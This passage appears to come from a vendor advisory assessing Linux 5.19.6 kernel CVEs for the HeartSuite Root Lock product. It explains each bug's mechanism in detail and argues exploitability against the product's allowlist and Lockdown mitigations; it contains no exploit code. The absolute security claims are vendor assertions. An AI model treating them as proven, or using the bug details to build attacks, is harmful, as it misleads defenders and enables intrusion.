Lockdown does not patch the vulnerability mechanism — the kernel still places uninitialized bits into the packet header if the path is reached. However, the program allowlist and Lockdown together make the triggering condition unreachable in practice.

To trigger this CVE, you must first add an ip6tables rule with REJECT --reject-with tcp-reset. That requires running ip6tables with root privilege. In Lockdown, HeartSuite’s program allowlist is enforced at the kernel level for every user including root: a program without a valid allowlist entry cannot execute regardless of the caller’s privilege level. Network management utilities such as ip6tables have no allowlist entry on a production HeartSuite deployment, so root cannot run them and the rule cannot be added.

Lockdown closes the remaining path. Even if an attacker gained root and attempted to add ip6tables to the allowlist first, Lockdown blocks every mechanism for doing so: FS_IOC_SETFLAGS (the ioctl used by chattr) returns EPERM for all callers during lockdown, so immutable flags cannot be cleared from the allowlist database files; mount(), fsmount(), and move_mount() all return EPERM, blocking any bind-mount or remount workaround; and the HeartSuite reactivation path is disabled, preventing the service from being reconfigured to accept new entries.

The result is a two-layer guarantee: the program allowlist prevents the trigger from being established, and Lockdown ensures the allowlist cannot be modified to enable the tools that would establish it. A 9.1 CRITICAL CVE that requires setting up an ip6tables REJECT rule becomes unreachable by any user, including root, once Lockdown is in force.

CVE-2022-41674, CVE-2022-42719, CVE-2022-42720

Status: Not exploitable Component: mac80211 — 802.11 wireless stack (CONFIG_MAC80211)
Base Scores: CVE-2022-42719: 8.8 HIGH (AV:A); CVE-2022-41674: 8.1 HIGH (AV:A); CVE-2022-42720: 7.8 HIGH (AV:A)
Score on HeartSuite: 0.0 — no WiFi hardware present; attack vector (frame injection via wireless NIC) has no path to execution
Affected range: Linux 5.19.x before 5.19.16
Upstream fix: Linux 5.4.218–219, 5.10.148–149, 5.15.74, 5.19.16, 6.0.2

These three CVEs cover memory corruption in the mac80211 multi-BSSID scanning path, exploitable by an attacker who can inject 802.11 management frames:

• CVE-2022-41674 (CVSS 8.1) — buffer overflow in ieee80211_bss_info_update() in net/mac80211/scan.c triggered by a crafted beacon or probe response with a malformed multi-BSSID element
• CVE-2022-42719 (CVSS 8.8) — use-after-free when parsing a multi-BSSID element, exploitable to crash the kernel or gain privilege
• CVE-2022-42720 (CVSS 7.8) — refcounting bugs in multi-BSS handling reachable through the same scanning path

CONFIG_MAC80211=y is compiled in and 5.19.6 is within the affected version range for all three. The entry point is ieee80211_scan_rx() in net/mac80211/rx.c, which has a single caller: the hardware NIC interrupt RX path. A physical WiFi NIC must be present, registered, and receiving frames for any of these paths to execute. CONFIG_MAC80211_HWSIM (software WiFi simulator) is not set. On server deployments without a WiFi interface the code paths are unreachable.

If exploited on a deployment with WiFi hardware, all three CVEs lead to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

HeartSuite makes the allowlist database files immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-0266

Status: Not exploitable Component: ALSA PCM — in-kernel sound subsystem (CONFIG_SND)
Base Score: 7.9 HIGH (AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no audio hardware present; no /dev/snd devices; ioctl path unreachable
Affected range: Linux 5.16 through 6.1.5
Upstream fix: Linux 4.14.303, 4.19.270, 5.4.229, 5.10.163, 5.15.88, 6.1.6 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free in the ALSA PCM control interface. SNDRV_CTL_IOCTL_ELEM_READ and SNDRV_CTL_IOCTL_ELEM_WRITE (32-bit compat variants) are missing locks that allow a local user to trigger a use-after-free and gain elevated privilege.

CONFIG_SND=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable code requires an ALSA-accessible sound device. Server deployments without audio hardware have no /dev/snd devices and no reachable path to this ioctl.

If exploited on a deployment with audio hardware, the CVE achieves local privilege escalation to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. Once Lockdown is active, FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2022-4139

Status: Not exploitable Component: i915 GPU driver (CONFIG_DRM_I915)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 0.0 — no i915 GPU present; GPU context entry point unreachable
Affected range: Linux 5.16 through 6.0.10
Upstream fix: Linux 5.4.226, 5.10.157, 5.15.81, 6.0.11 (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an incorrect TLB flush in the Intel i915 GPU driver. When GPU memory mappings are changed, a missing or incorrect TLB invalidation can leave stale translation entries active, allowing writes to land in the wrong physical pages. This can corrupt kernel memory and is exploitable by a local user with access to a GPU context to gain elevated privilege.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable path requires an Intel i915 GPU to be present and accessible. Deployments without i915 hardware have no reachable path to this driver.

The vulnerable path never opens. The bug exists in the source — not on this system.

CVE-2023-2236, CVE-2022-3910

Status: Affected
Component: io_uring — asynchronous I/O subsystem (CONFIG_IO_URING)
Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Score on HeartSuite: 7.1–7.3 HIGH — Lockdown reduces MI: High→Low (no allowlist modification, no persistence, no backdoors); C and A remain High; score stays within the HIGH band
Affected ranges: CVE-2023-2236: 5.19 through 6.0.10; CVE-2022-3910: 5.18 through 5.19.10
Upstream fix: CVE-2023-2236: 6.0.11; CVE-2022-3910: 5.19.11 (5.19 branch is EOL for CVE-2023-2236; CVE-2022-3910 fix was in-branch but 5.19.6 predates it)

What this means for an attacker:

Both CVEs describe use-after-free conditions in io_uring’s fixed file management, exploitable by a local user to gain root:

• CVE-2023-2236 — double fput() in the io_install_fixed_file() path. When an async open operation installs a fixed file and encounters an error, io_install_fixed_file() calls fput(file) at its error label; the caller then calls fput(file) a second time. The file’s reference count reaches zero while the object is still referenced, producing a use-after-free.
• CVE-2022-3910 — improper reference count update in io_uring’s fixed file handling that leads to a use-after-free and local privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in. The io_uring_setup syscall has no capability gate — any local user can create an io_uring ring and reach both vulnerable paths. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

These constraints are why the Score on HeartSuite reflects a reduced MI (High→Low): root cannot modify the allowlist, cannot install persistent backdoors, and cannot survive a reboot. Confidentiality and Availability impacts remain High, reflecting that an attacker with a live root session can still read data and disrupt services within the bounds of already-permitted processes.

A more sophisticated exploit could use the kernel use-after-free to directly corrupt kernel data structures before surfacing in userspace. In that scenario Lockdown’s API-level restrictions are not the binding constraint — the corruption happens below the layer where those checks operate. This is why the Score on HeartSuite does not reach 0.0: the io_uring path is reachable by any local user, and pre-userspace kernel corruption is outside the scope of what Lockdown addresses.

CVE-2024-0775

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 6.7 MEDIUM (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount(MS_REMOUNT) blocked by Lockdown; ext4 remount entry point unreachable Affected range: kernels through 6.7.2, 6.6.15, 6.1.79, 5.15.148, 5.10.211, 5.4.270, 4.19.308 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.3, 6.6.16, 6.1.80, 5.15.149, 5.10.212, 5.4.271, 4.19.309

This CVE describes a use-after-free in the __ext4_remount() error path in fs/ext4/super.c. When a remount operation fails and rolls back to saved options, the function restores quota file name pointers via rcu_assign_pointer(sbi->s_qf_names[i], old_opts.s_qf_names[i]) and then frees the displaced current pointer via kfree(to_free[i]). If the success path has already freed those names at the earlier kfree(old_opts.s_qf_names[i]) call, the error path operates on already-freed memory. The CVE requires CAP_SYS_ADMIN (implicit in PR:H) because mount(MS_REMOUNT) is a privileged operation.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server. __ext4_remount() is reached exclusively via mount(MS_REMOUNT) — a privileged operation that Lockdown blocks unconditionally. do_mount() returns EPERM whenever HS_locked_down() is true (kernel/namespace.c:4218), so root cannot call mount() at all; the CVE’s entry point is blocked at the syscall level before any ext4 code is reached. In Lockdown, the allowlist additionally prevents execution of any exploit program that would invoke the remount path.

CVE-2023-52530

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present; WoWLAN path unreachable Affected range: kernels through 6.7.3, 6.6.18, 6.1.81, 5.15.150, 5.10.214, 5.4.273, 4.19.311 (5.19 branch is EOL; no backport) Upstream fix: Linux 6.7.4, 6.6.19, 6.1.82, 5.15.151, 5.10.215, 5.4.274, 4.19.312

This CVE describes a use-after-free in the mac80211 WoWLAN (Wake on Wireless LAN) GTK rekey path. When ieee80211_gtk_rekey_add() installs a new group temporal key, it calls ieee80211_key_link(). If the new key is identical to the one already installed — the KRACK protection path — ieee80211_key_link() frees the new key via ieee80211_key_free_unused(key) and returns 0 to signal that the reinstall was silently accepted. ieee80211_gtk_rekey_add() treats the 0 return as success, skips the error branch, and returns &key->conf — a pointer into the object that was just freed. The caller receives a dangling pointer to freed ieee80211_key memory.

CONFIG_MAC80211=y is compiled in. The entry point ieee80211_gtk_rekey_add() guards itself with WARN_ON(!local->wowlan): it requires WoWLAN to be active, which in turn requires a WiFi NIC with WoWLAN firmware support, a wireless interface, and an active station association. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and neither the rekey path nor any other mac80211 code path is reachable.

If exploited on a deployment with WiFi hardware and WoWLAN active, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2023-52612

Status: Not exploitable Component: kernel crypto framework — scomp interface (CONFIG_CRYPTO) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_INET_IPCOMP not compiled; no compression algorithm registered; scomp_acomp_comp_decomp() unreachable Affected range: kernels prior to stable fixes in the 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8-rc; backported across active stable series

This CVE describes a buffer overflow in the kernel software compression (scomp) interface in crypto/scompress.c. The scomp_acomp_comp_decomp() function uses a per-CPU scratch buffer of SCOMP_SCRATCH_SIZE bytes as working space. If the caller provides a req->dst scatter list smaller than SCOMP_SCRATCH_SIZE, the function still caps req->dlen to SCOMP_SCRATCH_SIZE and then copies the full output — up to that size — into req->dst via scatterwalk_map_and_copy(). No check verifies that req->dst can hold req->dlen bytes before the copy. A caller who controls req->dst and triggers a compression or decompression that fills the scratch buffer can write beyond the end of the destination scatter list.

The scomp interface is the software-side of the kernel’s acomp (asynchronous compression) API. It is not a general-purpose path used by dm-crypt, TLS, or cipher operations — it exists exclusively to service IPsec compression transforms (IPCOMP, RFC 3173). scomp_acomp_comp_decomp() is only reached when a compression algorithm is registered with the scomp backend and a caller submits a request to it. On Root Lock by HeartSuite there are no such callers and no such registrations:

• # CONFIG_INET_IPCOMP is not set — the IPv4/IPv6 IPsec compression module is not compiled; no IPCOMP transform can be configured
• # CONFIG_CRYPTO_DEFLATE is not set — DEFLATE not compiled; not registered with scomp
• # CONFIG_CRYPTO_LZ4 is not set — LZ4 not compiled; not registered with scomp
• # CONFIG_CRYPTO_ZSTD is not set — ZSTD not compiled; not registered with scomp

With no compression algorithm registered, the scomp backend has no handler to dispatch to. CONFIG_CRYPTO=y means the crypto framework is present, but framework presence is not trigger reachability. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-26654

Status: Not exploitable Component: ALSA AICA Dreamcast sound driver (CONFIG_SND_AICA) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free caused by a circular scheduling race between dreamcastcard->timer and spu_dma_work in the AICA Yamaha sound chip driver (sound/sh/aica.c). The timer callback aica_period_elapsed() schedules spu_dma_work via schedule_work(); the work handler then re-arms the timer via mod_timer(). spu_begin_dma() independently schedules the work and arms the timer in the same call. These two execution paths can race against each other and against card teardown, producing a use-after-free on the snd_card_aica object while the timer or work item is still pending.

CONFIG_SND_AICA is not set in the Root Lock by HeartSuite kernel. sound/sh/aica.c is gated by obj-$(CONFIG_SND_AICA) in sound/sh/Makefile and is not compiled. There is no AICA driver code present in the running kernel — not merely absent hardware, but absent code. An attempt to reach this path has no code to execute. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2024-26704

Status: Not exploitable Component: ext4 filesystem — online defragmentation (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — EXT4_IOC_MOVE_EXT ioctl only reached by defragmentation tools; none in HS allowlist Affected range: kernels prior to stable fixes in the 6.8.x, 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8; backported across active stable series

This CVE describes a use-after-free in ext4_move_extents() in fs/ext4/move_extent.c, reachable via the EXT4_IOC_MOVE_EXT ioctl. The function moves file extents between an original inode and a donor inode. If the first move operation fails, o_start has not advanced past orig_blk, so *moved_len is set to zero. Preallocation blocks set up for orig_inode and donor_inode are discarded only when *moved_len is non-zero — the guard at move_extent.c:692. With *moved_len == 0, those preallocations are never discarded, leaving stale preallocation state that produces a use-after-free when the preallocations are later released. The EXT4_IOC_MOVE_EXT ioctl requires only write access to the file — no CAP_SYS_ADMIN, consistent with the PR:L CVSS score.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. The EXT4_IOC_MOVE_EXT ioctl is the sole entry point to the vulnerable ext4_move_extents() path; it is invoked by extent-defragmentation tools (e4defrag) and not by normal filesystem read or write operations. No defragmentation tool appears in the HS allowlist, and the kernel blocks any process without an allowlist entry from executing. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

If your deployment adds e4defrag or any other extent-defragmentation tool to the HS allowlist, the EXT4_IOC_MOVE_EXT ioctl becomes reachable and this CVE applies at its base score of 7.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2024-26842

Status: Not exploitable Component: UFS host controller driver (CONFIG_SCSI_UFSHCD) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an out-of-bounds memory access in the UFS host controller driver’s MCQ (Multi-Circular Queue) mode. When task_tag >= 32 and sizeof(unsigned int) == 4, the expression 1U << task_tag is undefined behaviour in C — shifting a 32-bit value by 32 or more positions. In practice this produces incorrect bitmask values in the per-queue task tracking, allowing the computed mask to index outside the valid task range and corrupt adjacent memory.

CONFIG_SCSI_UFSHCD is not set in the Root Lock by HeartSuite kernel. The UFS host controller driver is not compiled, and no UFS source files are present under drivers/scsi/ufs/ in the kernel tree. The prior claim that “ufshcd is compiled in but never bound to hardware” was incorrect — the driver does not exist in the running kernel image at all. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2022-48662

Status: Not exploitable Component: Intel i915 DRM driver — i915_perf (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: Linux 5.19.x before 5.19.16; 5.15.x before 5.15.74; earlier stable series also affected Upstream fix: Linux 5.19.16, 5.15.74, 5.10.148, 5.4.218, 4.19.263 (fix landed within the 5.19 branch before it reached EOL; 5.19.6 predates it)

This CVE describes a use-after-free in the i915 performance monitoring subsystem (i915_perf.c). During OA register reconfiguration, i915_perf iterates i915->gem.contexts.list under i915->gem.contexts.lock. For each entry it acquires a reference via kref_get_unless_zero() and then drops the spin lock to call gen8_configure_context(). After the call it re-acquires the lock and calls list_safe_reset_next(ctx, cn, link) to advance the iteration cursor — dereferencing ctx->link. The assumption is that holding a reference prevents the context from being unlinked. It does not: a concurrent thread can remove ctx from the list while its refcount is non-zero. When list_safe_reset_next dereferences ctx->link after the lock is re-acquired, it reads from freed or repurposed list-head memory.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a server deployment. Without GPU hardware, DRM device nodes are not created and the i915_perf entry point is unreachable. This follows the established pattern for i915 CVEs — see CVE-2022-4139.

If exploited on a deployment with i915 hardware, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2024-26934

Status: Not exploitable Component: USB core (CONFIG_USB) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no USB interface device on headless HS server; deadlock race unreachable Affected range: 4.11–6.8 Upstream fix: 6.8.2 series

Among the attribute file callback routines in drivers/usb/core/sysfs.c, interface_authorized_store() is the only one that acquires a device lock on an ancestor device. It delegates immediately to usb_deauthorize_interface() (drivers/usb/core/message.c), which takes device_lock(dev->parent) first (line 1792) and then device_lock(dev) (line 1795). This lock ordering diverges from other USB subsystem paths, creating an ABBA deadlock when a concurrent bind or configuration operation holds the interface device lock and waits to acquire the parent lock while usb_deauthorize_interface() holds the parent lock and waits for the child. The deadlock stalls the USB subsystem and can produce a kernel hang. The HS 5.19.6 kernel carries the unpatched interface_authorized_store() at drivers/usb/core/sysfs.c:1172 and the unchanged usb_deauthorize_interface() at drivers/usb/core/message.c:1792.

CONFIG_USB=y is compiled in and 5.19.6 falls within the affected range. Triggering the ABBA deadlock race requires writing to the /sys/.../authorized sysfs attribute of an enumerated USB interface device while a concurrent USB operation is in progress. Root Lock by HeartSuite runs on headless server hardware with no external USB devices connected; no USB interface device is enumerated, so the sysfs path does not exist and the race condition is unreachable. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-26939

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-6.8 Upstream fix: 6.8 series

Object debugging tools were sporadically reporting illegal attempts to free a still-active i915 VMA object when parking a GT believed to be idle: [161.359441] ODEBUG: free active object type: i915_active. When the GPU’s Graphics Tile (GT) transitions to the parked (powered-down) state, i915_vma_parked() (drivers/gpu/drm/i915/i915_vma.c:1729) iterates the gt->closed_vma list of VMAs marked for deferred destruction. For each candidate it calls i915_gem_object_trylock() (line 1758) and, on success, calls i915_vma_destroy() (line 1760) immediately — without checking whether the VMA’s embedded i915_active tracker has reached zero. If outstanding GPU command-buffer work still holds a live reference through that tracker, the object is freed while completion callbacks continue to dereference it, producing a use-after-free with attacker-controlled timing on the GPU side.

CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment. Without display hardware, DRM device nodes are not created and the GT power-management paths that call i915_vma_parked() are never reached. The environmental score reflects this: the vulnerable code path is structurally unreachable on the deployed hardware configuration.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-48689

Status: Affected Component: TCP receive zerocopy (CONFIG_INET) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L) Affected range: 4.14–pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

A syzbot report identified a misuse of pfmemalloc page status in TCP zerocopy receive paths. In tcp_zerocopy_receive() (net/ipv4/tcp.c:2086), socket buffer fragment pages are collected into a batch (line 2178: page = skb_frag_page(frags)) and mapped directly into userspace via vm_insert_pages(). No page_is_pfmemalloc() check is performed before adding a fragment page to the batch. Pages allocated from pfmemalloc reserves (used to break memory-pressure deadlocks in the network receive path) carry special lifecycle accounting; mapping them into userspace circumvents that accounting. A local attacker who can induce a pfmemalloc allocation into the TCP receive path can map a reserve page into their own address space, potentially corrupting page refcount state in ways that lead to privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. The TCP zerocopy receive path (TCP_ZEROCOPY_RECEIVE ioctl on a connected socket) is reachable by any local user with network access. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-48701

Status: Not exploitable Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

There may be a bad USB audio device with a USB ID of (0x04fa, 0x4201) and fewer than 4 interfaces; an out-of-bounds read bug occurs when the USB audio stream parser iterates altsettings. The Dallas DS4201 workaround at sound/usb/stream.c:1108 unconditionally caps num = 4 regardless of how many altsettings the device actually reports. If a malicious or malformed device presents that USB ID with fewer than 4 altsettings, the loop at line 1111 accesses iface->altsetting[i] beyond the bounds of the array, leaking kernel memory.

CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 configuration. The USB audio driver — including the vulnerable sound/usb/stream.c altsetting parser — is not compiled into the kernel image. A USB device with this ID cannot be claimed by any USB audio driver, and the vulnerable code path does not exist on this system.

CVE-2022-48702

Status: Not exploitable Component: EMU10K1 audio driver (CONFIG_SND_EMU10K1) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

The voice allocator sometimes begins allocating from near the end of the array and then wraps around; however snd_emu10k1_pcm_channel_alloc() accesses the voices array without the wrapping modulo that the allocator itself uses. The round-robin allocator in sound/pci/emu10k1/voice.c:42 uses i %= NUM_G to keep indices in bounds, but sound/pci/emu10k1/emupcm.c:127 assigns multichannel voices as &emu->voices[epcm->voices[0]->number + i] with no % NUM_G guard. When the allocator places the first voice near the end of the 64-entry array and more than one voice is requested, the addition exceeds array bounds, producing an out-of-bounds read and write that can corrupt adjacent kernel memory.

CONFIG_SND_EMU10K1 is not set in the HS 5.19.6 configuration. The EMU10K1 driver — including the vulnerable sound/pci/emu10k1/emupcm.c channel allocator — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-48695

Status: Not exploitable Component: mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

A use-after-free occurs during controller reset in the mpt3sas firmware event cleanup path. In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the reset handler iterates queued firmware events and calls cancel_work_sync() on each. When cancel_work_sync() returns non-zero (the work was never executed), the handler calls fw_event_work_put() at line 3752 to release the work’s reference — then unconditionally calls fw_event_work_put() again at line 3754. This double decrement underflows the kref reference count, freeing the fw_event_work object while other paths may still hold pointers to it.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The mpt3sas driver — including the vulnerable firmware event cleanup path — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-35789

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: 6.9 series

When moving a station out of a VLAN and deleting the VLAN afterwards, the fast_rx entry still holds a pointer to the VLAN’s netdev, which can cause use-after-free. In net/mac80211/cfg.c, the station change path at line 1949 calls __ieee80211_check_fast_rx_iface(vlansdata), which builds a new fast_rx structure with dev = vlansdata->dev (the target VLAN’s netdev). The original VLAN’s fast_rx is cleared at line 1955 via ieee80211_clear_fast_rx(sta), but that function uses RCU: the old fast_rx object — containing dev = original_vlan->dev — is not freed until after a grace period. If the original VLAN interface is deleted before that grace period expires, any CPU still reading the old fast_rx entry will dereference a freed netdev. The HS 5.19.6 kernel carries the unpatched station change path at net/mac80211/cfg.c:1939–1970.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-35886

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: 6.9 series

What this means for an attacker:

syzkaller reported infinite recursive calls of fib6_dump_done() during netlink socket destruction. From the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then closed the netlink socket. The IPv6 FIB dump handler at net/ipv6/ip6_fib.c:652 hooks the callback destructor by setting cb->done = fib6_dump_done (saving the original callback in cb->args[3]). When the netlink socket closes, netlink core invokes the destructor, calling fib6_dump_done() at line 570. This function calls cb->done(cb) — but cb->done is now fib6_dump_done itself, creating infinite recursion that exhausts the kernel stack. The HS 5.19.6 kernel carries the unpatched FIB dump callback at net/ipv6/ip6_fib.c:645–684.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Triggering the infinite recursion requires sending an AF_UNSPEC RTM_GETROUTE netlink message and then closing the socket — reachable by any local user with a netlink socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-52835

